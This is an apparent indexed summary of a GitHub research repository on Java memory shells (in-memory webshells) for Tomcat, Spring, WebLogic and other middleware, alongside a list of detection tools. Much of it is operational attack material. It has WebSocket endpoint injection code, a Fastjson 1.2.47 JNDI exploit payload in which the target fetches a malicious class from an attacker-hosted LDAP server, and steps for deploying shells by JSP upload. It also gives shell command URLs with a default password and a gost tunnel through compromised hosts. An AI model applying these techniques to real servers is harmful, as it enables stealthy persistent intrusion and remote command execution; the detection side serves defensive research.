mshell - Memory Shell Research
repository·main·Indexed 21 days ago
https://github.com/getshell/mshellA research repository focused on the study, implementation, and detection of memory shells (内存马), primarily within the Java ecosystem. It provides technical resources, implementation methods, and detection tools for various middleware and frameworks, including Tomcat, Weblogic, JBoss/Wildfly, Jetty, Websphere, and Spring. The project covers multiple shell types such as Filter, Servlet, Listener, Valve, and WebSocket, and includes guidance on exploiting deserialization vulnerabilities (e.g., Fastjson) to deploy these shells.
What's inside mshell
- Mshell is a research repository dedicated to the study of memory shells (内存马) in offensive and defensive security contexts. The project focuses heavily on Java-based memory shells, collecting technical principles, implementation methods, and specific project resources. It serves as a centralized knowledge base for understanding how memory shells work, how to implement them, how to use them in practical scenarios, and how to detect and kill them.
Explore Java Memory Shell (Memshell) Resources
mainThe
mshellrepository provides a curated collection of resources for researching Java Memory Shells (Memshells), covering offensive techniques, defensive strategies, and academic research.Resource Categories
Technical Articles: A vast collection of deep-dives into various Memshell types, including:
- Tomcat Memshells: Filter, Servlet, Listener, Valve, and WebSocket types.
- Spring Memshells: Controller and Interceptor construction.
- Java Agent Memshells: Using Java Agent technology for persistence and stealth.
- Other Middleware: Research on Jetty, Resin, WebLogic, and ASP.NET.
- Detection & Defense: Techniques for scanning, capturing, and killing Memshells from a defensive perspective.
Open Source Projects: Links to various implementation tools and generators, such as:
msmap: A Memshell generation framework.java-memshell-generator: A tool for generating Java Memshells.JundeadShell,ZhouYu, andmemShellimplementations.- Collections of existing Memshell payloads.
Academic Papers: Research papers focusing on high-adversary detection technologies for Java Memshells and specific detection techniques for Tomcat Filter-type Memshells.
Learning Path Suggestion
For developers or security researchers, the resources are categorized by complexity, ranging from basic Java security concepts to advanced 'untraceable' (无痕) injection and bypass techniques.
Implement Multi-functional Shells with WebSocket
mainTo use a WebSocket memory shell, your management tool must support the WebSocket protocol.
Integration Strategies:
- Tool Support: Tools like AntSword (v2.1.15+) now support WebSocket natively.
- Custom Implementation (e.g., Godzilla): If using a tool like Godzilla, the core logic remains the same, but the communication protocol is swapped for WebSocket.
- Hybrid Approach: Since a WebSocket memory shell must be injected before it can be connected to (you cannot connect directly to a raw JSP file via WS), you can use a standard JSP shell to first inject the WebSocket class. Once the WebSocket endpoint is registered, you switch the connection protocol to WebSocket to interact with the malicious class.
Identify and detect memory shells (Detection Tools)
mainFor defensive research and incident response, the repository lists several tools and methodologies for detecting and killing memory shells (查杀).
Key Detection Resources:
- General Scanners/Analyzers:
FindShell,shell-analyzer,java-memshell-scanner,MemoryShellHunter,java-memshell-scan,DuckMemoryScan. - Specialized Detection:
DefendMemoryShell(for defense),copagent. - Runtime Analysis:
alibaba/arthas(for live JVM inspection). - Methodologies: Research on killing Java web filter-type memory shells and monitoring trojans with 'eyes' (给木马带双眼睛).
- General Scanners/Analyzers:
Implement a WebSocket Memory Shell (wsMemShell)
mainA WebSocket memory shell leverages the full-duplex nature of the WebSocket protocol to establish a communication channel that is difficult to detect via standard
memshell scannertools because it does not require registering new Listeners, Servlets, or Filters.To implement this after the server has already started, follow these three steps:
- Create a
ServerEndpointConfigusing theServerEndpointConfig.Builder. - Retrieve the
ServerContainerfrom theServletContextattributes. - Call
addEndpoint(config)on the container.
Compatibility:
- Tested successfully on: Tomcat, Spring, Jetty.
- WebLogic: Requires specific conditions (refer to WebLogic-specific documentation).
- Jboss (WildFly): Not tested.
Note on JSR356: Since JSR356 is part of Java EE 7, implementing a WebSocket memory shell does not require any third-party dependencies.
// 1. Create the configuration for the endpoint ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build(); // 2. Retrieve the ServerContainer from the ServletContext ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName()); // 3. Inject the endpoint into the running container container.addEndpoint(config);- Create a
Explore Memory Shell practical implementations by technology stack
mainThe Mshell repository provides a curated list of practical implementations and research for memory shells across various technology stacks. Use these resources to study how memory shells are implemented in specific environments for offensive or defensive research.
Available Technology Stacks:
- Tomcat: Includes
TomShell,TomcatMemShell, andMemory. - Weblogic: Includes
WeblogicShell. - Spring: Includes
SpringShell. - WebSocket: Includes
wsMemShell. - Python: Includes
flask_memory_shell. - .NET: Includes
net_memory_webshellandGodzillaMemoryShellProject.NET.
Other stacks covered include Shiro, Jboss, WebSphere, gRPC, Struts2, and various deserialization-based injection methods (Shiro, Fastjson).
- Tomcat: Includes
Deploy Tomcat Memory Shells via JSP
mainYou can deploy memory shells by uploading or writing the corresponding
.jspfile for the target Tomcat version to the environment and accessing it via a browser.Success is indicated when the page returns the string
>@<.Naming Convention:
memlistener8910.jsp: Listener CMD memory shell for Tomcat 8/9/10.icememfilter7.jsp: IceScorpion (冰蝎) Filter memory shell for Tomcat 7.
Supported Tomcat versions include 7, 8, 9, and 10.
<!-- Access the uploaded JSP via browser to trigger injection --> http://target-ip/memlistener8910.jspDeploy Tomcat Memory Shells via Java/Class files
mainTo use
.javaor.classmemory shells, you must combine them with a deserialization vulnerability (e.g., Fastjson JNDI or SnakeYAML SPI).Important Notes:
- Compatibility: Supports Tomcat 8/9/10.
- Class Naming: When modifying
.javafiles, ensure the filename matches the class name. - StandardContext Retrieval: Uses
Thread.currentThread().getContextClassLoader()to obtain theStandardContext. This method does not work on Tomcat 7. - Shiro Note: These files are not suitable for Shiro vulnerabilities (which require inheriting
AbstractTransletand modifying Header size).
Naming Convention Examples:
LRain10: Listener CMD memory shell for Tomcat 10.IFRain: Filter IceScorpion (冰蝎) memory shell for Tomcat 8/9.
Use WebSocket as a Proxy via Gost
mainBecause WebSocket is a full-duplex protocol, it can be used to build high-speed proxies, similar to standard TCP proxies. This is particularly useful for hosts with no outbound internet access (out-of-network hosts) that have been compromised via deserialization vulnerabilities.
After injecting a WebSocket proxy memory shell, you can use
gostto connect to the proxy path. For example, if the memory shell is listening on127.0.0.1:8080at the path/proxy, you can set up a local SOCKS5 proxy to tunnel your traffic through it.# Use gost to create a local SOCKS5 proxy (port 1080) that tunnels through the WebSocket proxy path ./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"Example: Exploiting Fastjson 1.2.47 with Tomcat Memory Shell
mainTo exploit a Fastjson 1.2.47 deserialization vulnerability using a Tomcat memory shell (e.g.,
ILRain.class):- Setup LDAP Server: Use
marshalsecto host the malicious class. - Trigger Vulnerability: Send a Fastjson PoC targeting your LDAP server.
- Connect: Use an IceScorpion client to connect to the injected shell.
Step 1: Start LDAP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102Step 2: Fastjson PoC
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://xx.xx.xx.xx:9102/123", "autoCommit":true } }java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102- Setup LDAP Server: Use
Accessing CMD and IceScorpion Memory Shells
mainOnce the memory shell is injected, access it using the following URL patterns:
Listener/Filter Type
- CMD Shell:
http://<ip>/?chan=<command>(e.g.,/?chan=whoami) - IceScorpion (冰蝎) Shell:
http://<ip>/- Default Password:
goautomne
- Default Password:
Servlet Type
- CMD Shell:
http://<ip>/p?chan=<command>(e.g.,/p?chan=whoami) - IceScorpion (冰蝎) Shell:
http://<ip>/p- Default Password:
goautomne
- Default Password:
- CMD Shell:
Supported Middleware for Java memShell
mainThe
memShellproject provides Java-based memory shells (memShell) that are compatible with various middleware and frameworks. The following versions have been tested and verified:- Tomcat: 7.0.34, 7.0.54, 7.0.70, 7.0.96, 7.0.104, 8.0.18, 8.0.32, 8.0.48, 8.5.12, 8.5.30, 8.5.56, 9.0.16, 9.0.33
- Weblogic: 10.3.6.0, 12.1.3.0.0
- JBoss/Wildfly: 8.0.0.Final, 18.0.0.Final, 21.0.0.Beta1
- Jetty: 9.4.30.v20200611, 9.3.28.v20191105, 9.2.29.v20191105, 9.1.6.v20160112 (Note: failed on earlier versions)
- Websphere: Websphere Application Server v8.5 and v9.0
- Spring (Framework): SpringMVC 5.2.10.RELEASE, 5.0.8.RELEASE, 4.3.28.RELEASE, 4.0.5.RELEASE, 3.2.3.RELEASE, 3.0.5.RELEASE